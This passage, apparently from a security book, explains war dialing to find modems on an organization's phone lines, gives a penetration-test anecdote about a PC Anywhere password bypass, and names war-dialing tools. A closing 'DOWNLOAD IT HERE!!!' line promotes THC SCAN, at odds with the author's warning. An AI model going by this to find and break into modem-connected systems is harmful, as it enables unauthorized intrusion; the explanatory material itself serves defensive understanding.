Networks begins at 595-1000 and ends at
595-5000. War dialing usually employs an
automated dialing system (a program) to call
every telephone number for the organization,
searching for modem connections.
The program logs a telephone number
whenever it finds a modem. Later after the
program has called every extension, the
hacker can review the log for modems and go
back and attempt to break into the system to
which the modem is connected to gain access
to the network.
This method almost always works for large
organizations. When dealing with a company
with several thousand telephone numbers, the
odds are with the hacker that some of them
are connected to modems. I worked for a large
company that hired one of the big consulting
firms to test the company's network security.
The consulting firm was unsuccessful at
penetrating the corporate firewall. However, it
employed war dialing and identified several
telephone numbers that were connected to
modems. One of the modems was connected
to a PC running PC AnyWhere, which had been
enabled to allow someone to dial into the
office from home. The consultants were able to
gain access to the network by exploiting a
flaw in an early version of PC Any Where that
allowed a user to bypass the password
protection. Once on the network the
consultant was able to compromise almost
every system it hit, and no one detected the
illicit activity. The one exception was my
group; we detected the activity on the systems
for which we were responsible and made
inquiries into the source of the activity. It was
then that we were told that it had been a test
of the corporate network security.
The source code for war dialing programs may
be obtained easily at many hacker sites. Some
of the programs available are ToneLoc,
PhoneTap, and Blue Deep. If you are a
programmer, you may be interested in viewing
the code, but I do not recommend using these
programs. A word of warning is necessary
here: You should always be careful when
downloading programs on the Web, but when
downloading from hacker sites you need to be
especially careful. To understand why simply
reread the section on Trojan horses.
You Can Use Tools Like THC SCAN for war
dialing.

DOWNLOAD IT HERE!!!